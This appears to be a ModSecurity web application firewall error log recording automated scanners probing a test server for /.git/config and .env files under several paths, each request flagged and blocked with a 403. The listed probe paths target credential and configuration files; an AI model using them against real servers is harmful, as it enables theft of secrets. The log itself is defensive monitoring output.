[Sun Sep 14 20:50:14.831234 2025] [:error] [pid 2717410] [client 18.224.192.118:44307] [client 18.224.192.118] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aMcOZmAU4eyHqXvSYJg4XAAAAAA&quot;]
[Wed Sep 17 07:39:07.295249 2025] [:error] [pid 2791277] [client 44.200.14.106:56888] [client 44.200.14.106] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aMpJe90GOlCa33tIsQpwNwAAAAI&quot;]
[Wed Sep 17 07:39:07.297264 2025] [:error] [pid 2791277] [client 44.200.14.106:56888] [client 44.200.14.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aMpJe90GOlCa33tIsQpwNwAAAAI&quot;]
[Wed Sep 17 07:39:07.297456 2025] [:error] [pid 2791277] [client 44.200.14.106:56888] [client 44.200.14.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aMpJe90GOlCa33tIsQpwNwAAAAI&quot;]
[Fri Sep 19 12:23:44.318110 2025] [:error] [pid 2852277] [client 45.139.104.204:43416] [client 45.139.104.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aM0vMLTPWd-ygSM77xHlGAAAABE&quot;]
[Fri Sep 19 12:23:44.320386 2025] [:error] [pid 2852277] [client 45.139.104.204:43416] [client 45.139.104.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aM0vMLTPWd-ygSM77xHlGAAAABE&quot;]
[Fri Sep 19 12:23:44.320556 2025] [:error] [pid 2852277] [client 45.139.104.204:43416] [client 45.139.104.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aM0vMLTPWd-ygSM77xHlGAAAABE&quot;]
[Sat Sep 20 07:31:00.962127 2025] [:error] [pid 2867880] [client 45.148.10.157:52830] [client 45.148.10.157] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aM48FEW3VGRkhouZ08DpRQAAAAc&quot;]
[Sat Sep 20 07:31:00.962371 2025] [:error] [pid 2867880] [client 45.148.10.157:52830] [client 45.148.10.157] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aM48FEW3VGRkhouZ08DpRQAAAAc&quot;]
[Sat Sep 20 07:31:00.962562 2025] [:error] [pid 2867880] [client 45.148.10.157:52830] [client 45.148.10.157] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aM48FEW3VGRkhouZ08DpRQAAAAc&quot;]
[Sat Sep 20 07:31:06.814129 2025] [:error] [pid 2867879] [client 45.148.10.157:35428] [client 45.148.10.157] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aM48GqdIZRGAnqD1a0DOwgAAAAY&quot;]
[Sat Sep 20 07:31:06.814390 2025] [:error] [pid 2867879] [client 45.148.10.157:35428] [client 45.148.10.157] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aM48GqdIZRGAnqD1a0DOwgAAAAY&quot;]
[Sat Sep 20 07:31:06.815102 2025] [:error] [pid 2867879] [client 45.148.10.157:35428] [client 45.148.10.157] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aM48GqdIZRGAnqD1a0DOwgAAAAY&quot;]
[Sat Sep 20 07:31:48.077657 2025] [:error] [pid 2867836] [client 45.148.10.157:36516] [client 45.148.10.157] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /portal/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aM48RN23j7fe40XI1-oidAAAAAI&quot;]
[Sat Sep 20 07:31:48.077901 2025] [:error] [pid 2867836] [client 45.148.10.157:36516] [client 45.148.10.157] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aM48RN23j7fe40XI1-oidAAAAAI&quot;]
[Sat Sep 20 07:31:48.078062 2025] [:error] [pid 2867836] [client 45.148.10.157:36516] [client 45.148.10.157] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aM48RN23j7fe40XI1-oidAAAAAI&quot;]
[Sat Sep 20 07:31:53.645240 2025] [:error] [pid 2867834] [client 45.148.10.157:50310] [client 45.148.10.157] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /portal/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aM48SfIJPWoR2rp3y-lEqQAAAAA&quot;]
[Sat Sep 20 07:31:53.645489 2025] [:error] [pid 2867834] [client 45.148.10.157:50310] [client 45.148.10.157] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aM48SfIJPWoR2rp3y-lEqQAAAAA&quot;]
[Sat Sep 20 07:31:53.645667 2025] [:error] [pid 2867834] [client 45.148.10.157:50310] [client 45.148.10.157] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/portal/.env&quot;] [unique_id &quot;aM48SfIJPWoR2rp3y-lEqQAAAAA&quot;]
[Sat Sep 20 07:31:56.672810 2025] [:error] [pid 2867838] [client 45.148.10.157:50316] [client 45.148.10.157] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aM48THvfo_1mV5C9QU3Z2QAAAAQ&quot;]
[Sat Sep 20 07:31:56.673188 2025] [:error] [pid 2867838] [client 45.148.10.157:50316] [client 45.148.10.157] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aM48THvfo_1mV5C9QU3Z2QAAAAQ&quot;]
[Sat Sep 20 07:31:56.673456 2025] [:error] [pid 2867838] [client 45.148.10.157:50316] [client 45.148.10.157] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aM48THvfo_1mV5C9QU3Z2QAAAAQ&quot;]
[Sat Sep 20 07:31:56.698165 2025] [:error] [pid 2867838] [client 45.148.10.157:50316] [client 45.148.10.157] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aM48THvfo_1mV5C9QU3Z2gAAAAQ&quot;]
[Sat Sep 20 07:31:56.698438 2025] [:error] [pid 2867838] [client 45.148.10.157:50316] [client 45.148.10.157] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aM48THvfo_1mV5C9QU3Z2gAAAAQ&quot;]
[Sat Sep 20 07:31:56.698633 2025] [:error] [pid 2867838] [client 45.148.10.157:50316] [client 45.148.10.157] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aM48THvfo_1mV5C9QU3Z2gAAAAQ&quot;]
[Sat Sep 20 07:31:56.857972 2025] [:error] [pid 2867837] [client 45.148.10.157:50322] [client 45.148.10.157] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aM48TBWoV8GvGoZiBq3WpgAAAAM&quot;]
[Sat Sep 20 07:31:56.858207 2025] [:error] [pid 2867837] [client 45.148.10.157:50322] [client 45.148.10.157] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aM48TBWoV8GvGoZiBq3WpgAAAAM&quot;]
[Sat Sep 20 07:31:56.858412 2025] [:error] [pid 2867837] [client 45.148.10.157:50322] [client 45.148.10.157] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aM48TBWoV8GvGoZiBq3WpgAAAAM&quot;]
[Sat Sep 20 07:31:56.927188 2025] [:error] [pid 2871947] [client 45.148.10.157:50338] [client 45.148.10.157] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aM48TE9ZCrSFbu-il1n8qwAAAAk&quot;]
[Sat Sep 20 07:31:56.927449 2025] [:error] [pid 2871947] [client 45.148.10.157:50338] [client 45.148.10.157] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aM48TE9ZCrSFbu-il1n8qwAAAAk&quot;]
[Sat Sep 20 07:31:56.927634 2025] [:error] [pid 2871947] [client 45.148.10.157:50338] [client 45.148.10.157] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aM48TE9ZCrSFbu-il1n8qwAAAAk&quot;]
[Sat Sep 20 07:31:57.000860 2025] [:error] [pid 2867898] [client 45.148.10.157:50352] [client 45.148.10.157] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aM48TK3RNP9eqEvJAdCb4wAAAAg&quot;]
[Sat Sep 20 07:31:57.001087 2025] [:error] [pid 2867898] [client 45.148.10.157:50352] [client 45.148.10.157] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aM48TK3RNP9eqEvJAdCb4wAAAAg&quot;]
